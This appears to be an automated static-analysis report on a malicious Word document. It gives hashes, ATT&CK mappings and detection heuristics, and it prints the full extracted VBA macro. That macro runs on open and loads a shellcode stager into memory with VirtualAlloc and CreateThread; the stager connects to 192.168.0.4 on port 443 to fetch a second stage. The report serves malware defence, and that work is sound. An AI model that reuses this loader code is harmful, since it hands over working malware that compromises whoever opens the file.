Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5031e9a76387900a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2015-08-12 21:36:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 94df87862db45a128e0d038304667e70 SHA-1: d8f633336eb1696b47301f03ccae26592a78f101 SHA-256: 5031e9a76387900ab21c8d41467318c21aa345d7ff0c6b77da99d2604312ac1d
186 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize VirtualAlloc and CreateThread API calls, indicating an attempt to allocate memory and execute arbitrary code. This is strongly suggestive of a downloader or dropper functionality, aiming to fetch and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Valyria-6680543-0' further supports this assessment.

Heuristics 9

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4473 bytes
SHA-256: 65e346671ad2f78bef96351d01781502102eca0a15297f136cd480fb4a23a9e5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Jugcneh As Long, ByVal Tggvfcajc As Long, ByVal Jlomzj As LongPtr, Lmr As Long, ByVal Sfddu As Long, Qmxwx As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Rjgu As Long, ByVal Ctrgnmn As Long, ByVal Zxtvnrm As Long, ByVal Zmhkjf As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Knwqwd As LongPtr, ByRef Lyrk As Any, ByVal Kpdkxtpa As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Jugcneh As Long, ByVal Tggvfcajc As Long, ByVal Jlomzj As Long, Lmr As Long, ByVal Sfddu As Long, Qmxwx As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Rjgu As Long, ByVal Ctrgnmn As Long, ByVal Zxtvnrm As Long, ByVal Zmhkjf As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Knwqwd As Long, ByRef Lyrk As Any, ByVal Kpdkxtpa As Long) As Long
#End If

Sub Auto_Open()
    Dim Eakhbbq As Long, Mpwvg As Variant, Jwfnxi As Long
#If VBA7 Then
    Dim Admo As LongPtr, Fxne As LongPtr
#Else
    Dim Admo As Long, Fxne As Long
#End If
    Mpwvg = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, _
199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, _
139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, _
1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, _
91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, _
0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, _
111, 1, 0, 0, 47, 111, 100, 53, 98, 101, 65, 74, 73, 106, 97, 109, 78, 56, 89, 122, _
119, 50, 68, 111, 120, 73, 103, 84, 103, 74, 86, 81, 104, 118, 105, 53, 107, 85, 115, 84, _
85, 83, 48, 119, 120, 112, 119, 48, 87, 114, 90, 78, 74, 113, 52, 85, 110, 84, 83, 87, _
83, 48, 89, 113, 88, 112, 102, 80, 99, 50, 108, 48, 97, 97, 51, 79, 56, 118, 48, 56, _
110, 80, 114, 67, 80, 109, 49, 45, 118, 113, 115, 120, 52, 86, 83, 65, 72, 54, 52, 69, _
100, 97, 83, 52, 88, 75, 97, 121, 84, 117, 83, 80, 98, 57, 88, 87, 120, 75, 79, 57, _
116, 102, 106, 98, 120, 88, 98, 56, 79, 95, 118, 104, 54, 67, 108, 85, 121, 88, 73, 65, _
82, 73, 97, 89, 106, 56, 86, 75, 49, 113, 76, 106, 119, 68, 77, 48, 79, 81, 74, 116, _
79, 95, 54, 45, 77, 86, 114, 48, 90, 77, 107, 73, 52, 119, 119, 78, 104, 117, 109, 79, _
104, 98, 112, 108, 54, 111, 56, 107, 56, 75, 116, 57, 87, 75, 90, 50, 70, 48, 104, 110, 49, 102, 65, 74, 75, 119, 85, 76, 87, 98, 87, 80, 106, 71, 48, 52, 116, 65, 84, 77, 99, 49, 84, 111, 105, 101, 105, 106, 81, 65, 68, 69, 52, 86, 50, 76, 69, 101, 67, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 8, 79, 117, 217, 232, 72, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 119, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 48, 46, 52, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Admo = VirtualAlloc(0, UBound(Mpwvg), &H1000, &H40)
    For Jwfnxi = LBound(Mpwvg) To UBound(Mpwvg)
        Eakhbbq = Mpwvg(Jwfnxi)
        Fxne = RtlMoveMemory(Admo + Jwfnxi, Eakhbbq, 1)
    Next Jwfnxi
    Fxne = CreateThread(0, 0, Admo, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.